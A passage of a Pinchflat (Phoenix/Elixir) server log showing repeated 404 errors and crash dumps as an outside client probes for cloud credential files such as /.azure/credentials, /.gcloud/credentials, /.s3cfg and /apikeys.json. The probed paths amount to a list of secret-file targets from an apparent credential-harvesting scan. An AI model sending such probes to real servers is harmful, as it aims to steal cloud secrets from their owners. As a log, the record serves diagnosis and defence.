request_path: "/apikeys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Uxw9dwG0roAAKKx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 14:07:59.827 [info] GET /.azure/credentials 14:07:59.829 [debug] QUERY OK source="settings" db=0.7ms idle=743.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:59.830 [debug] QUERY OK source="settings" db=0.5ms idle=701.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:59.830 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:59.832 [error] #PID<0.12410.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 114) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.azure/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.azure/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.azure/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 114, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12410.0>, params: %{}, path_info: [".azure", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.azure/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0WvMzgASYscAAKLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.azure/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 114, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.azure/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.azure/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 114, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12410.0>, params: %{}, path_info: [".azure", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.azure/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0WvMzgASYscAAKLB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 14:08:00.032 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:00.295 [info] GET /azure.json 14:08:00.296 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=991.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:00.297 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=467.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:00.298 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:00.298 [error] #PID<0.12411.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 115) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /azure.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /azure (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 115, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12411.0>, params: %{}, path_info: ["azure"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/azure.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0YetrWTL2JAAAKLR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 115, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /azure (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 115, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12411.0>, params: %{}, path_info: ["azure"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/azure.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0YetrWTL2JAAAKLR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, stat (truncated) 14:08:00.751 [info] GET /.gcloud/credentials 14:08:00.752 [debug] QUERY OK source="settings" db=0.4ms idle=921.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:00.753 [debug] QUERY OK source="settings" db=0.6ms idle=720.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:00.753 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:00.755 [error] #PID<0.12412.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 116) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.gcloud/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcloud/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcloud/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 116, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12412.0>, params: %{}, path_info: [".gcloud", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.gcloud/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0aLZa2e1z_kAAKLh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcloud/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 116, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcloud/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcloud/credentials", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 116, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12412.0>, params: %{}, path_info: [".gcloud", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.gcloud/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0aLZa2e1z_kAAKLh"} ], scheme: :http, script_name: [], secret_key_base: :.. (truncated) 14:08:01.498 [info] GET /.s3cfg 14:08:01.499 [debug] QUERY OK source="settings" db=0.6ms idle=1202.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:01.500 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1202.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:01.500 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:01.501 [error] #PID<0.12413.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 117) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.s3cfg ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.s3cfg", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 117, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12413.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.s3cfg", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0c9e1OE2dkMAAKLx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.s3cfg", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 117, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.s3cfg", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 117, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12413.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", 